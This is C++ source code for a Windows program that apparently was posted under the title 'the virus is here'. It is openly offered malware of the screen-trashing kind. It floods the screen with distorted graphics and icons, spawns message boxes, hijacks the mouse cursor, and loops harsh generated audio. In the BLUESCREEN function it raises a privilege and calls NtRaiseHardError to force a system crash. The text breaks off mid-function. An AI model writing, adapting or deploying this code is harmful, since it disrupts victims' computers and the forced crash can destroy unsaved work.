病毒来了(c++)

//蓝屏
#include <windows.h>
#include <math.h>
#include <shlwapi.h>
#include <mmsystem.h>
#include<tchar.h>
#include<stdio.h>
#include<fstream>
#include<string> 
#include <stdint.h>
#include <stdlib.h>    
//#include <resource.h>
#define SIZE_X 30
#define SIZE_Y 8
#define _CRT_SECURE_NO_WARNINGS 
using namespace std;
#define PI acos(-1.0)
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib,"winmm.lib")
#pragma comment(lib,"shlwapi.lib")
#pragma comment(lib,"msimg32.lib")
extern "C" NTSTATUS NTAPI RtlAdjustPrivilege(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN OldValue);
extern "C" NTSTATUS NTAPI NtRaiseHardError(LONG ErrorStatus, ULONG NumberOfParameters, ULONG UnicodeStringParameterMask,
	PULONG_PTR Parameters, ULONG ValidResponseOptions, PULONG Response);
#define MSGBOX_IDICON   (1088)
#define MSGBOX_IDTEXT   (100)
 
HCRYPTPROV prov;
#define MAX_NUMBER 10
 
HWND TopWindow = NULL;
BOOLEAN END = FALSE;
LRESULT CALLBACK WindowProcNoClose(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) { return DefWindowProc(hwnd, msg, wParam, lParam); }
DWORD WINAPI Timing(LPVOID lpParameter)
{
	int width = GetSystemMetrics(SM_CXSCREEN);
	int height = GetSystemMetrics(SM_CYSCREEN);
	POINT zero;
	memset(&zero, 0L, sizeof(zero));
	SIZE size;
	memset(&size, 0L, sizeof(zero));
	size.cx = width;
	size.cy = height;
 
	HDC hdc = GetDC(TopWindow);
	HDC hBlack = CreateCompatibleDC(hdc);
	HBITMAP hBitmap = CreateCompatibleBitmap(hdc, width, height);
	SelectObject(hBlack, hBitmap);
 
	LOGFONT logfont;
	ZeroMemory(&logfont, sizeof(LOGFONT));
	logfont.lfWidth = 0;
	logfont.lfHeight = -width / 10;
	logfont.lfWeight = 0;
	logfont.lfQuality = PROOF_QUALITY;
	lstrcpy(logfont.lfFaceName, L"微软雅黑");
	HFONT hFont = CreateFontIndirect(&logfont);
 
	SetTextColor(hBlack, RGB(255, 0, 0));
	SetBkColor(hBlack, RGB(0, 0, 0));
	SelectObject(hBlack, hFont);
	SetTextAlign(hBlack, GetTextAlign(hBlack) | TA_CENTER | VTA_CENTER);
 
	wchar_t number[MAX_NUMBER];
	number[MAX_NUMBER - 1] = '\0';// Warning C6054
	ZeroMemory(number, sizeof(number));
 
	TEXTMETRIC TextMetric;
	GetTextMetrics(hBlack, &TextMetric);
	TextOut(hBlack, width / 2, height / 2 - TextMetric.tmHeight - height / 40, L" ☠ ", lstrlen(L" ☠ "));
	for (int i = 20; i >= 0; i++)
	{
		SetTextColor(hBlack, RGB(rand() % 256, rand() % 256, rand() % 256));
		SetBkColor(hBlack, RGB(0, 0, 0));
		SelectObject(hBlack, hFont);
		SetTextAlign(hBlack, GetTextAlign(hBlack) | TA_CENTER | VTA_CENTER);
		TextOut(hBlack, rand() % width, rand() % height - TextMetric.tmHeight - height / 40, L" ☠ ", lstrlen(L" ☠ "));
		UpdateLayeredWindow(TopWindow, NULL, NULL, &size, hBlack, &zero, 0, NULL, ULW_COLORKEY);
		Sleep(15000);
	}
	DeleteDC(hBlack);
	DeleteObject(hBitmap);
	ReleaseDC(TopWindow, hdc);
	SendMessage(TopWindow, WM_CLOSE, 0, 0L);
 
	return END = TRUE;
}
 
DWORD WINAPI CountWindow(LPVOID lpParameter)
{
	int width = GetSystemMetrics(SM_CXSCREEN);
	int height = GetSystemMetrics(SM_CYSCREEN);
 
	WNDCLASSEX WinEx;
	WinEx.cbSize = sizeof(WNDCLASSEX);
	WinEx.lpfnWndProc = WindowProcNoClose;
	WinEx.lpszClassName = L"Countdown";
	WinEx.style = 0;
	WinEx.cbClsExtra = 0;
	WinEx.cbWndExtra = 0;
	WinEx.hInstance = GetModuleHandle(NULL);
	WinEx.hIcon = 0;
	WinEx.hCursor = LoadCursor(NULL, IDC_ARROW);
	WinEx.hbrBackground = NULL;
	WinEx.lpszMenuName = NULL;
	WinEx.hIconSm = 0;
 
	RegisterClassEx(&WinEx);
	TopWindow = CreateWindowEx(WS_EX_TOPMOST | WS_EX_LAYERED | WS_EX_TRANSPARENT | WS_EX_TOOLWINDOW, L"Countdown", L"", WS_POPUP, 0, 0, width, height, NULL, NULL, GetModuleHandle(NULL), NULL);
	ShowWindow(TopWindow, SW_SHOW);
	CreateThread(NULL, 0, Timing, NULL, 0, NULL);
 
	MSG msg;
	while (GetMessage(&msg, NULL, 0, 0))
	{
		TranslateMessage(&msg);
		DispatchMessage(&msg);
	}
 
	return 0;
}
LRESULT CALLBACK messageBoxHookButton(int nCode, WPARAM wParam, LPARAM lParam) {
	if (nCode < 0)
		return CallNextHookEx(0, nCode, wParam, lParam);
 
	LPCWPRETSTRUCT msg = (LPCWPRETSTRUCT)lParam;
	if (msg->message == WM_INITDIALOG) {
		HFONT hFont = (HFONT)GetStockObject(DEFAULT_GUI_FONT);
		LOGFONTA lf;
		GetObject(hFont, sizeof(lf), &lf);
		lf.lfHeight = 0;
		lf.lfWeight = 0;
		HFONT hFontNew = NULL;
		SendDlgItemMessage(msg->hwnd, IDABORT, WM_SETFONT, (WPARAM)hFontNew, FALSE);
		SendDlgItemMessage(msg->hwnd, IDRETRY, WM_SETFONT, (WPARAM)hFontNew, FALSE);
		SendDlgItemMessage(msg->hwnd, IDIGNORE, WM_SETFONT, (WPARAM)hFontNew, FALSE);
		SendDlgItemMessage(msg->hwnd, IDCANCEL, WM_SETFONT, (WPARAM)hFontNew, FALSE);
 
		HWND btn = GetDlgItem(msg->hwnd, IDABORT);
		SetWindowTextW(btn, L"Yes!");
		btn = GetDlgItem(msg->hwnd, IDRETRY);
		SetWindowTextW(btn, L"是哒!");
		btn = GetDlgItem(msg->hwnd, IDIGNORE);
		SetWindowTextW(btn, L"没错!");
 
 
	}
 
	return CallNextHookEx(0, nCode, wParam, lParam);
}
 
DWORD WINAPI messageBoxThread(LPVOID parameter) {
	HHOOK hook = SetWindowsHookEx(WH_CALLWNDPROCRET, messageBoxHookButton, 0, GetCurrentThreadId());
	MSGBOXPARAMSW mbp;
	ZeroMemory(&mbp, sizeof(mbp));
	mbp.cbSize = sizeof(mbp);
	mbp.hInstance = (HINSTANCE)parameter;
	mbp.lpszIcon = IDI_SHIELD;
	mbp.dwStyle = MB_TOPMOST | MB_ABORTRETRYIGNORE | MB_ICONQUESTION;
	mbp.lpszCaption = L"灵魂拷问. . .";
	mbp.lpszText = L"你要运行此程序吗?";
	MessageBoxIndirectW(&mbp);
	UnhookWindowsHookEx(hook);
	return 0;
}
void mess1(LPVOID lp)
{
	MessageBoxA(NULL, "                            ", "19", MB_OK | MB_SYSTEMMODAL | MB_ICONSTOP);
}
void mess2(LPVOID lp)
{
	MessageBoxA(NULL, "                            ", "1949", MB_OK | MB_SYSTEMMODAL | MB_ICONWARNING);
}
void mess3(LPVOID lp)
{
	MessageBoxA(NULL, "                            ", "10", MB_OK | MB_SYSTEMMODAL | MB_ICONQUESTION);
}
void mess4(LPVOID lp)
{
	MessageBoxA(NULL, "                            ", "1", MB_OK | MB_SYSTEMMODAL | MB_ICONASTERISK);
}
void WINAPI BLUESCREEN(LPVOID lp) {
	Sleep(200000);
	BOOLEAN bl;
	ULONG Response;
	RtlAdjustPrivilege(19, TRUE, FALSE, &bl);
	NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, NULL, 6, &Response);
}
void WINAPI b()
{
	HWND hwnd[10030];
	Sleep(4000);
	for (int i = 1; i <= 15; i++)
	{
		CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)mess1, 0, 0, 0);
		Sleep(200);
		hwnd[i] = FindWindowA(NULL, "19");
		ShowWindow(hwnd[i], SW_HIDE);
		MoveWindow(hwnd[i], rand() % 1920, rand() % 1080, 220, 180, false);
		CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)mess2, 0, 0, 0);
		Sleep(200);
		hwnd[i + 3334] = FindWindowA(NULL, "1949");
		ShowWindow(hwnd[i + 3334], SW_HIDE);
		MoveWindow(hwnd[i + 3334], rand() % 1920, rand() % 1080, 220, 180, false);
		CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)mess3, 0, 0, 0);
		Sleep(200);
		hwnd[i + 6667] = FindWindowA(NULL, "10");
		ShowWindow(hwnd[i + 6667], SW_HIDE);
		MoveWindow(hwnd[i + 6667], rand() % 1920, rand() % 1080, 220, 180, false);
		CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)mess4, 0, 0, 0);
		Sleep(200);
		hwnd[i + 10001] = FindWindowA(NULL, "1");
		ShowWindow(hwnd[i + 10001], SW_HIDE);
		MoveWindow(hwnd[i + 10001], rand() % 1920, rand() % 1080, 220, 180, false);
	}
	Sleep(1000);
	for (int i = 1; i <= 15; i++)
	{
		ShowWindow(hwnd[i], SW_SHOW);
		Sleep(15);
		ShowWindow(hwnd[i + 3334], SW_SHOW);
		Sleep(15);
		ShowWindow(hwnd[i + 6667], SW_SHOW);
		Sleep(15);
		ShowWindow(hwnd[i + 10001], SW_SHOW);
	}
	Sleep(1000);
	for (int i = 1; i <= 15; i++)
	{
		SendMessage(hwnd[i], WM_CLOSE, 0, 0);
		Sleep(5);
		SendMessage(hwnd[i + 3334], WM_CLOSE, 0, 0);
		Sleep(5);
		SendMessage(hwnd[i + 6667], WM_CLOSE, 0, 0);
		Sleep(5);
		SendMessage(hwnd[i + 10001], WM_CLOSE, 0, 0);
		Sleep(5);
	}
}
void WINAPI c(LPVOID lp) {
	POINT point;
	int k = 5, i = 1;
	HDC hdc = GetWindowDC(GetDesktopWindow());
	while (1)
	{
		HINSTANCE h1 = LoadLibrary(_T("imageres.dll"));
		GetCursorPos(&point);
		SetCursorPos(point.x + rand() % k - rand() % k,
			point.y + rand() % k - rand() % k);//鼠标移到屏幕的指定位置		
		if (i % 900 == 0) {
			CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)mess4, 0, 0, 0);
		}
		SetBkColor(hdc, RGB(rand() % 256, rand() % 256, rand() % 256));
		SetTextColor(hdc, RGB(rand() % 256, rand() % 256, rand() % 256));
		DrawIcon(hdc, point.x + 28, point.y - 28, LoadIcon(NULL, IDI_ERROR));
		DrawIcon(hdc, point.x + 28, point.y + 28, LoadIcon(NULL, IDI_INFORMATION));
		DrawIcon(hdc, point.x - 28, point.y - 28, LoadIcon(NULL, IDI_WARNING));
		DrawIcon(hdc, point.x - 28, point.y + 28, LoadIcon(NULL, IDI_WINLOGO));
		DrawIcon(hdc, point.x, point.y, LoadIcon(NULL, IDI_SHIELD));
		DrawIcon(hdc, rand() % GetSystemMetrics(SM_CXSCREEN), rand() % GetSystemMetrics(SM_CYSCREEN), LoadIcon(h1, MAKEINTRESOURCE(i % 256)));
		TextOutA(hdc, rand() % GetSystemMetrics(SM_CXSCREEN), rand() % GetSystemMetrics(SM_CYSCREEN), "CCXY_14041234", 13);
		if (i % 140 == 0) {
			TextOutA(hdc, rand() % GetSystemMetrics(SM_CXSCREEN), rand() % GetSystemMetrics(SM_CYSCREEN), "中华铁骑已入侵!", 15);
			TextOutA(hdc, rand() % GetSystemMetrics(SM_CXSCREEN), rand() % GetSystemMetrics(SM_CYSCREEN), "CCXY_14041234", 13);
			DrawIcon(hdc, rand() % GetSystemMetrics(SM_CXSCREEN), rand() % GetSystemMetrics(SM_CYSCREEN), LoadIcon(NULL, IDI_SHIELD));
			DrawIcon(hdc, rand() % GetSystemMetrics(SM_CXSCREEN), rand() % GetSystemMetrics(SM_CYSCREEN), LoadIcon(NULL, IDI_ERROR));
			DrawIcon(hdc, rand() % GetSystemMetrics(SM_CXSCREEN), rand() % GetSystemMetrics(SM_CYSCREEN), LoadIcon(NULL, IDI_WARNING));
			DrawIcon(hdc, rand() % GetSystemMetrics(SM_CXSCREEN), rand() % GetSystemMetrics(SM_CYSCREEN), LoadIcon(NULL, IDI_INFORMATION));
			DrawIcon(hdc, rand() % GetSystemMetrics(SM_CXSCREEN), rand() % GetSystemMetrics(SM_CYSCREEN), LoadIcon(NULL, IDI_WINLOGO));
		}
		i++;
		Sleep(10);
	}
 
}
void WINAPI d2() {
	HDC hdc = GetDC(NULL);
 
	int w = GetSystemMetrics(0), h = GetSystemMetrics(1);
	HDC hcdc = CreateCompatibleDC(hdc);
	HBITMAP hBitmap = CreateCompatibleBitmap(hdc, w, h);
	SelectObject(hcdc, hBitmap);
	BitBlt(hcdc, 0, 0, w, h, hdc, 0, 0, SRCCOPY);
	for (int t = 0; t <= 1600; t += 20) {
		hdc = GetDC(NULL);
		if (t % 10 == 0) {
			SelectObject(hdc, CreateSolidBrush(RGB(rand() % 256, rand() % 256, rand() % 256)));
			PatBlt(hdc, 0, 0, w, h, PATINVERT);
		}
		for (int y = 0; y <= h; y++) {
 
			float x = sin((y + t) * (PI / 120)) * 40;
			BitBlt(hdc, x, y, w, 1, hcdc, 0, y, SRCCOPY);
 
		}
 
		ReleaseDC(NULL, hdc);
		DeleteObject(hdc);
		Sleep(20);
	}
	ReleaseDC(NULL, hcdc);
	DeleteObject(hcdc);
	DeleteObject(hBitmap);
}
void WINAPI tx() {
	HDC hdc = GetDC(NULL);
	int w = GetSystemMetrics(0), h = GetSystemMetrics(1);
	HINSTANCE h2 = LoadLibrary(_T("shell32.dll")), h1 = LoadLibrary(_T("imageres.dll"));
	for (int t = 0; t <= 40; t++) {
		hdc = GetDC(NULL);
		POINT pos[4];
		for (int i = 0; i < 4; i++) {
			pos[i].x = rand() % w, pos[i].y = rand() % h;
		}
		SelectObject(hdc, CreatePen(PS_SOLID, 2, 0));
		SelectObject(hdc, CreateSolidBrush(rand() % 0xffffff));
		Polygon(hdc, pos, 4);
		SetBkColor(hdc, rand() % 0xffffff);
		SetTextColor(hdc, rand() % 0xffffff);
		HFONT font = CreateFont(rand() % 50, rand() % 50, 0, 0, FW_NORMAL, 1, 1, 0, ANSI_CHARSET, 0, 0, 0, 0, 0);
		SelectObject(hdc, CreateSolidBrush(rand() % 0xffffff));
		PatBlt(hdc, rand() % w, rand() % h, rand() % w, rand() % h, PATCOPY);
		SelectObject(hdc, font);
		BitBlt(hdc, -3, -3, w, h, hdc, 0, 0, SRCPAINT);
		BitBlt(hdc, +3, +3, w, h, hdc, 0, 0, SRCPAINT);
		BitBlt(hdc, +3, -3, w, h, hdc, 0, 0, SRCPAINT);
		BitBlt(hdc, -3, +3, w, h, hdc, 0, 0, SRCPAINT);
		SelectObject(hdc, CreateSolidBrush(RGB(rand() % 256, rand() % 256, rand() % 256)));
		if (t % 3 == 0)PatBlt(hdc, 0, 0, w, h, PATINVERT);
		int i = rand() % 256;
		DrawIcon(hdc, rand() % GetSystemMetrics(SM_CXSCREEN), rand() % GetSystemMetrics(SM_CYSCREEN), LoadIcon(h2, MAKEINTRESOURCEW(i % 256)));
		DrawIcon(hdc, rand() % GetSystemMetrics(SM_CXSCREEN), rand() % GetSystemMetrics(SM_CYSCREEN), LoadIcon(h1, MAKEINTRESOURCEW(i % 256)));
		DrawIcon(hdc, rand() % GetSystemMetrics(SM_CXSCREEN), rand() % GetSystemMetrics(SM_CYSCREEN), LoadIcon(h2, MAKEINTRESOURCEW(i % 256)));
		DrawIcon(hdc, rand() % GetSystemMetrics(SM_CXSCREEN), rand() % GetSystemMetrics(SM_CYSCREEN), LoadIcon(h1, MAKEINTRESOURCEW(i % 256)));
		DrawIcon(hdc, rand() % GetSystemMetrics(SM_CXSCREEN), rand() % GetSystemMetrics(SM_CYSCREEN), LoadIcon(h2, MAKEINTRESOURCEW(i % 256)));
		DrawIcon(hdc, rand() % GetSystemMetrics(SM_CXSCREEN), rand() % GetSystemMetrics(SM_CYSCREEN), LoadIcon(h1, MAKEINTRESOURCEW(i % 256)));
		ReleaseDC(NULL, hdc);
		DeleteObject(hdc);
		Sleep(5);
	}
	CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)mess2, 0, 0, 0);
	Sleep(1000);
	d2();
}
void WINAPI d() {
	HDC hdc = GetDC(NULL);
	int w = GetSystemMetrics(0), h = GetSystemMetrics(1);
	int cx = GetSystemMetrics(11), cy = GetSystemMetrics(12);
	for (int t = 0; t < 10000; t += 5) {
		hdc = GetDC(NULL);
		DrawIcon(hdc, (w / 2) - (cx / 3) + (cos(t * (PI / 180)) * (t / 10)), (h / 2) - (cy / 2) + (sin(t * (PI / 180)) * (t / 10)), LoadIcon(NULL, IDI_ERROR));
		DrawIcon(hdc, (w / 2) - (cx / 2) + (cos((t + 72) * (PI / 180)) * (t / 10)), (h / 2) - (cy / 2) + (sin((t + 72) * (PI / 180)) * (t / 10)), LoadIcon(NULL, IDI_WINLOGO));
		DrawIcon(hdc, (w / 2) - (cx / 2) + (cos((t + 144) * (PI / 180)) * (t / 10)), (h / 2) - (cy / 2) + (sin((t + 144) * (PI / 180)) * (t / 10)), LoadIcon(NULL, IDI_WARNING));
		DrawIcon(hdc, (w / 2) - (cx / 2) + (cos((t + 216) * (PI / 180)) * (t / 10)), (h / 2) - (cy / 2) + (sin((t + 216) * (PI / 180)) * (t / 10)), LoadIcon(NULL, IDI_INFORMATION));
		DrawIcon(hdc, (w / 2) - (cx / 2) + (cos((t + 288) * (PI / 180)) * (t / 10)), (h / 2) - (cy / 2) + (sin((t + 288) * (PI / 180)) * (t / 10)), LoadIcon(NULL, ((LPWSTR)((ULONG_PTR)((WORD)(32518))))));
		Sleep(1);
		ReleaseDC(NULL, hdc);
		DeleteObject(hdc);
	}
	Sleep(500);
	tx();
}
void WINAPI a6() {
	for (int t = 0; ; t++) {
		int n = t % 2 == 0 ? 1 : -1;
		int w = GetSystemMetrics(SM_CXSCREEN), h = GetSystemMetrics(SM_CYSCREEN), x = SM_CXSCREEN, y = SM_CYSCREEN;;
		HDC hdc = GetDC(NULL);
		HDC hcdc = CreateCompatibleDC(hdc);
		HBITMAP hBitmap = CreateCompatibleBitmap(hdc, w, h);
		SelectObject(hcdc, hBitmap);
		BitBlt(hcdc, 0, 0, w, h, hdc, 0, 0, SRCCOPY);
		POINT ps[3];
		ps[0].x = 0, ps[0].y = h / 8;
		ps[1].x = w - (w / 8), ps[1].y = 0;
		ps[2].x = w / 8, ps[2].y = h;
		PlgBlt(hdc, ps, hdc, 0, 0, w, h, 0, 0, 0);
		BitBlt(hdc, 0, 0, w, h, hcdc, 0, 0, (t % 20 < 10 ? SRCPAINT ^ SRCINVERT : SRCAND ^ SRCERASE));
		SelectObject(hdc, CreateSolidBrush(RGB(rand() % 256, rand() % 256, rand() % 256)));
		if (t % 8 == 4) {
			PatBlt(hdc, 0, 0, w, h, PATINVERT);
			BitBlt(hdc, rand() % 222, rand() % 222, w, h, hdc, rand() % 222, rand() % 222, NOTSRCERASE);
			BitBlt(hdc, rand() % w, rand() % h, w - 10, h - 8, hdc, rand() % w, rand() % w, SRCPAINT);
			x = rand() % w + 1;
			BitBlt(hdc, x, 1, 10, h, hdc, x, 0, NOTSRCCOPY | SRCPAINT || SRCAND);
		}
		PlgBlt(hdc, ps, hdc, 0, 0, w, h, 0, 0, 0);
		ReleaseDC(NULL, hdc);
		ReleaseDC(NULL, hcdc);
		DeleteObject(hdc);
		DeleteDC(hcdc);
		DeleteObject(hBitmap);
	}
}
void WINAPI a5() {
	int width, height;
	HWND hwnd;
	width = GetSystemMetrics(SM_CXSCREEN);
	height = GetSystemMetrics(SM_CYSCREEN);
	hwnd = GetDesktopWindow();    HDC hdc = GetDC(NULL);
	for (int i = 2; i <= 60; i++) {
		RECT rekt;
		GetWindowRect(hwnd, &rekt);
		HBRUSH rainbow = CreateSolidBrush(RGB(rand() % 255, rand() % 255, rand() % 255));
		SelectObject(hdc, rainbow);
		int xyrng = rand() % width, h = height - rand() % width - (width / 2 - 110);
		POINT pt3[3];
		int inc3 = 60;
		inc3++;
		pt3[0].x = rekt.left + inc3;
		pt3[0].y = rekt.top - inc3;
		pt3[1].x = rekt.right + inc3;
		pt3[1].y = rekt.top + inc3;
		pt3[2].x = rekt.left - inc3;
		pt3[2].y = rekt.bottom - inc3;
		PlgBlt(hdc, pt3, hdc, rekt.left, rekt.top, rekt.right - rekt.left, rekt.bottom - rekt.top, NULL, NULL, NULL);
		PlgBlt(hdc, pt3, hdc, rekt.left, rekt.top, rekt.right - rekt.left, rekt.bottom - rekt.top, NULL, NULL, NULL);
		StretchBlt(hdc, -32, -32, width + 64, height + 64, hdc, NULL, NULL, width, height, SRCCOPY);
	}
	CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)mess1, 0, 0, 0);
	Sleep(2000);
	a6();
}
void WINAPI a4() {
	HWND hwnd = GetDesktopWindow();
	HDC hdc = GetWindowDC(hwnd);
	for (int i = 1; i <= 85; i++) {
		int x = SM_CXSCREEN;
		int y = SM_CYSCREEN;
		int w = GetSystemMetrics(0);
		int h = GetSystemMetrics(1);
		BitBlt(hdc, rand() % 222, rand() % 222, w, h, hdc, rand() % 222, rand() % 222, NOTSRCERASE);
		BitBlt(hdc, rand() % w, rand() % h, w - 10, h - 8, hdc, rand() % w, rand() % w, SRCPAINT);
		hdc = GetDC(0);
		x = rand() % w + 1;
		BitBlt(hdc, x, 1, 10, h, hdc, x, 0, NOTSRCCOPY | SRCPAINT || SRCAND);
	}
	Sleep(2000);
	a5();
}
void WINAPI a3() {
	HWND hwnd = GetDesktopWindow();
	HDC hdc = GetWindowDC(hwnd);
	for (int i = 1; i <= 20; i++) {
		BitBlt(hdc, 0, 0, GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN), hdc, 0, 0, NOTSRCCOPY);
		Sleep(100);
	}
	Sleep(2000);
	a4();
}
void WINAPI a2() {
	HWND hwnd = GetDesktopWindow();
	HDC hdc = GetWindowDC(hwnd);
	for (int i = 1; i <= 20; i++) {
		StretchBlt(hdc, GetSystemMetrics(SM_CXSCREEN), 0, -GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN), hdc, 0, 0, GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN), SRCCOPY);
		Sleep(50);
	}
	Sleep(2000);
	a3();
}
void WINAPI a1() {
	HWND hwnd = GetDesktopWindow();
	HDC hdc = GetWindowDC(hwnd);
	for (int i = 1; i <= 20; i++) {
		StretchBlt(hdc, 0, GetSystemMetrics(SM_CYSCREEN), GetSystemMetrics(SM_CXSCREEN), -GetSystemMetrics(SM_CYSCREEN), hdc, 0, 0, GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN), SRCCOPY);
		Sleep(50);
	}
	Sleep(2000);
	a2();
}
void WINAPI a() {
	int w = GetSystemMetrics(SM_CXSCREEN), h = GetSystemMetrics(SM_CYSCREEN);
	HDC hdc = GetDC(NULL);
	HDC hcdc = CreateCompatibleDC(hdc);
	HBITMAP hBitmap = CreateCompatibleBitmap(hdc, w, h);
	SelectObject(hcdc, hBitmap);
	for (int i = 0; i <= 49; i++) {
		BitBlt(hcdc, 0, 0, w / 10, h, hdc, w / 10 * 9, 0, SRCCOPY);
		BitBlt(hcdc, w / 10, 0, w / 10 * 9, h, hdc, 0, 0, SRCCOPY);
		BitBlt(hdc, 0, 0, w, h, hcdc, 0, 0, SRCCOPY);
		Sleep(5);
	}
	for (int i = 0; i <= 49; i++) {
		BitBlt(hcdc, 0, 0, w, h / 10, hdc, 0, h / 10 * 9, SRCCOPY);
		BitBlt(hcdc, 0, h / 10, w, h / 10 * 9, hdc, 0, 0, SRCCOPY);
		BitBlt(hdc, 0, 0, w, h, hcdc, 0, 0, SRCCOPY);
		Sleep(5);
	}
	Sleep(2000);
	a1();
}
#define P 3.1415926
void WINAPI a0(LPVOID lp) {
	HWND hwnd = GetDesktopWindow();
	HDC hdc = GetWindowDC(hwnd);
	HDC  hdcCopy;
	HBITMAP hBitmap;
	int b;
	int x = GetSystemMetrics(SM_CXSCREEN), y = GetSystemMetrics(SM_CYSCREEN);
	for (int i = 1; i <= 80; i++) {
		SetBkColor(hdc, RGB(rand() % 256, rand() % 256, rand() % 256));
		SetTextColor(hdc, RGB(rand() % 256, rand() % 256, rand() % 256));
		TextOutA(hdc, rand() % x, rand() % y, "CCXY_14041234", 13);
		Sleep(9);
		SelectObject(hdc, CreateSolidBrush(RGB(rand() % 256, rand() % 256, rand() % 256)));
		PatBlt(hdc, 0, 0, x, y, PATINVERT);
		PatBlt(hdc, rand() % x, rand() % y, 130, 130, PATINVERT);
		StretchBlt(hdc, rand() % x, rand() % y, x - 200, y - 160, hdc, 0, 0, x, y, NOTSRCCOPY);
 
		Sleep(10);
 
	}
	for (int j = 1; j <= 30; j++)
	{
		int width = GetSystemMetrics(SM_CXSCREEN);
		int height = GetSystemMetrics(SM_CYSCREEN);
		hdcCopy = CreateCompatibleDC(hdc);
		hBitmap = CreateCompatibleBitmap(hdc, SIZE_X, height);
		SelectObject(hdcCopy, hBitmap);
 
		for (int i = 0; i < 22; i++)
		{
			int x = rand() % width - SIZE_X / 2;
			BitBlt(hdcCopy, 0, 0, SIZE_X, height, hdc, x, 0, SRCCOPY);
 
			for (int ix = 0, depth = 0; ix < SIZE_X; ix++)
			{
				depth = (int)(sin(ix / (double)SIZE_X * P) * SIZE_Y);
				StretchBlt(hdcCopy, ix, 0, 1, depth, hdcCopy, ix, 0, 1, 1, SRCCOPY);
				BitBlt(hdcCopy, ix, 0, 1, height, hdcCopy, ix, -depth, SRCCOPY);
			}
			BitBlt(hdc, x, 0, SIZE_X, height, hdcCopy, 0, 0, SRCCOPY);
		}
		DeleteDC(hdcCopy);
		DeleteObject(hBitmap);
	}
	Sleep(2000);
	a();
 
}
void WINAPI beep(LPVOID lp) {
	while (1) {
		int nSamplesPerSec = 8000, nSampleCount = nSamplesPerSec * 201;
		HANDLE hHeap = GetProcessHeap();
		PSHORT psSamples = (PSHORT)HeapAlloc(hHeap, 0, nSampleCount);
		WAVEFORMATEX waveFormat = { WAVE_FORMAT_PCM, 1, nSamplesPerSec, nSamplesPerSec, 1, 8, 0 };
		WAVEHDR waveHdr = { (PCHAR)psSamples, nSampleCount, 0, 0, 0, 0, NULL, 0 };
		HWAVEOUT hWaveOut;
		waveOutOpen(&hWaveOut, WAVE_MAPPER, &waveFormat, 0, 0, 0);
		for (INT t = 0; t < nSampleCount; t++) {
			BYTE bFreq = (BYTE)(100 ^ ((t << 2 | t >> 5 | t & 63) * (t << 10 | t >> 11)));
			((BYTE*)psSamples)[t] = bFreq;
		}
		waveOutPrepareHeader(hWaveOut, &waveHdr, sizeof(waveHdr));
		waveOutWrite(hWaveOut, &waveHdr, sizeof(waveHdr));
		Sleep(nSampleCount * 1000 / nSamplesPerSec);
		while (!(waveHdr.dwFlags & WHDR_DONE)) {
			Sleep(1);
		}
		waveOutReset(hWaveOut);
		waveOutUnprepareHeader(hWaveOut, &waveHdr, sizeof(waveHdr));
		HeapFree(hHeap, 0, psSamples);
 
	}
}
int i = 0, speed = 0;
BOOLEAN FALL = FALSE;
DWORD WINAPI Timer(LPVOID parameter) { for (; !FALL; Sleep(500)) { speed++; } for (; i < 200; Sleep(1000)) { i++; } return 0; }
void c1(LPVOID lp) {
	POINT cursor;
 
	for (CreateThread(NULL, 0, Timer, NULL, 0, NULL);;)
	{
		GetCursorPos(&cursor);
		SetCursorPos(cursor.x, cursor.y + speed);
		GetCursorPos(&cursor);
		if (GetSystemMetrics(SM_CYSCREEN) - 1 <= cursor.y) { speed = speed + speed / 6; FALL = TRUE; break; }
		Sleep(20);
	}
 
	int x = speed, y = -speed;
	for (x = (rand() % 2) ? -x : x;;)
	{
		GetCursorPos(&cursor);
		SetCursorPos(cursor.x + x, cursor.y + y);
 
		GetCursorPos(&cursor);
		if (cursor.x == 0) { x = (int)((i / 400.0) * (GetSystemMetrics(SM_CXSCREEN) / 20)) + rand() % (int)((i / 400.0) * (GetSystemMetrics(SM_CXSCREEN) / 20) + 1) + speed; }
		if (cursor.y == 0) { y = (int)((i / 400.0) * (GetSystemMetrics(SM_CYSCREEN) / 20)) + rand() % (int)((i / 400.0) * (GetSystemMetrics(SM_CYSCREEN) / 20) + 1) + speed; }
		if (GetSystemMetrics(SM_CXSCREEN) - 1 <= cursor.x) { x = -((int)((i / 400.0) * (GetSystemMetrics(SM_CXSCREEN) / 20)) + rand() % (int)((i / 400.0) * (GetSystemMetrics(SM_CXSCREEN) / 20) + 1) + speed); }
		if (GetSystemMetrics(SM_CYSCREEN) - 1 <= cursor.y) { y = -((int)((i / 400.0) * (GetSystemMetrics(SM_CYSCREEN) / 20)) + rand() % (int)((i / 400.0) * (GetSystemMetrics(SM_CYSCREEN) / 20) + 1) + speed); }
		Sleep(50);
	}
}
VOID WINAPI MsgBoxCorruptionThread(HWND hwndMsgBox) {
	for (; hwndMsgBox != NULL;) {
		HDC hdc = GetDC(hwndMsgBox);
		int w = GetSystemMetrics(0), h = GetSystemMetrics(1);
		SelectObject(hdc, CreateSolidBrush(RGB(rand() % 256, rand() % 256, rand() % 256)));
		SetWindowLong(hwndMsgBox, GWL_EXSTYLE, WS_EX_LAYERED);               // 给窗口增加透明属性
		SetLayeredWindowAttributes(hwndMsgBox, 1L, (BYTE)200, LWA_ALPHA);
		PatBlt(hdc, 0, 0, w, h, PATINVERT);
		BitBlt(hdc, 0, 0, GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN), hdc, 0, 0, NOTSRCCOPY);
		Sleep(800);
	}
}
 
LRESULT CALLBACK msgBoxHook(int nCode, WPARAM wParam, LPARAM lParam) {
	if (nCode == HCBT_ACTIVATE) {
		HWND hwndMsgBox = (HWND)wParam;
		ShowWindow(hwndMsgBox, 5);
